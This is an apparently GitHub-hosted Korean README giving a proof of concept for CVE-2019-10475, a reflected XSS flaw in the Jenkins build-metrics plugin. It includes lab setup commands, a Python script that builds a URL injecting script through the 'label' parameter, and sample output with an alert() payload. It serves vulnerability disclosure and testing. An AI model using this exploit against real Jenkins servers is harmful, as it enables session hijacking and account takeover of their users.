vesche/cve-2019-10475
2019-10-23에 보고된 Jenkins CVE-2019-10475 / SECURITY-1490에 대한 빠른 POC입니다. 이 문제는 몇 가지 기본 빌드 메트릭을 생성하는 build-metrics 플러그인 내에 있습니다. 이 플러그인은 Jenkins 사이드바 링크 플러그인과 함께 흔히 사용됩니다.
이는 단순하고 일반적인 반사형 XSS 취약점입니다. 문제는 플러그인이 label 쿼리 매개변수를 제대로 이스케이프하지 못한다는 것입니다.
POC는 Debian 10(Buster), Jenkins 2.203(2019-11-05 기준 최신), build-metrics 1.3에서 수행되었습니다.
# install jenkins
sudo apt-get install daemon psmisc net-tools openjdk-11-jre
wget -q -O - https://pkg.jenkins.io/debian/jenkins.io.key | sudo apt-key add -
wget https://pkg.jenkins.io/debian/binary/jenkins_2.203_all.deb
dpkg -i jenkins_2.203_all.deb
sudo systemctl status jenkins
# activate using admin password
sudo cat /var/lib/jenkins/secrets/initialAdminPassword
# get jenkins cli
wget http://localhost:8080/jnlpJars/jenkins-cli.jar
# install plugins
java -jar ./jenkins-cli.jar -s "http://localhost:8080" -auth admin:password -noKeyAuth install-plugin global-build-stats -restart
java -jar ./jenkins-cli.jar -s "http://localhost:8080" -auth admin:password -noKeyAuth install-plugin build-metrics -restart
취약한 플러그인은 http://localhost:8080/plugin/build-metrics/에서 확인할 수 있으며, 취약한 매개변수는 label입니다. 다음과 같이 간단한 스크립트를 주입할 수 있습니다:
CVE-2019-10475.py를 참조하세요. 악성 페이로드를 생성하는 데 사용할 수 있습니다:
#!/usr/bin/env python
import sys
import argparse
VULN_URL = '''{base_url}/plugin/build-metrics/getBuildStats?label={inject}&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search'''
def get_parser():
parser = argparse.ArgumentParser(description='CVE-2019-10475')
parser.add_argument('-p', '--port', help='port', default=80, type=int)
parser.add_argument('-d', '--domain', help='domain', default='localhost', type=str)
parser.add_argument('-i', '--inject', help='inject', default='<script>alert("CVE-2019-10475")</script>', type=str)
return parser
def main():
parser = get_parser()
args = vars(parser.parse_args())
port = args['port']
domain = args['domain']
inject = args['inject']
if port == 80:
base_url = f'http://{domain}'
elif port == 443:
base_url = f'https://{domain}'
else:
base_url = f'http://{domain}:{port}'
build_url = VULN_URL.format(base_url=base_url, inject=inject)
print(build_url)
return 0
if __name__ == '__main__':
sys.exit(main())
사용법:
$ python3 CVE-2019-10475.py --help
usage: CVE-2019-10475.py [-h] [-p PORT] [-d DOMAIN] [-i INJECT]
CVE-2019-10475
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT port
-d DOMAIN, --domain DOMAIN
domain
-i INJECT, --inject INJECT
inject
$ python3 CVE-2019-10475.py -p 8080 -d 192.168.1.75
http://192.168.1.75:8080/plugin/build-metrics/getBuildStats?label=<script>alert("CVE-2019-10475")</script>&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search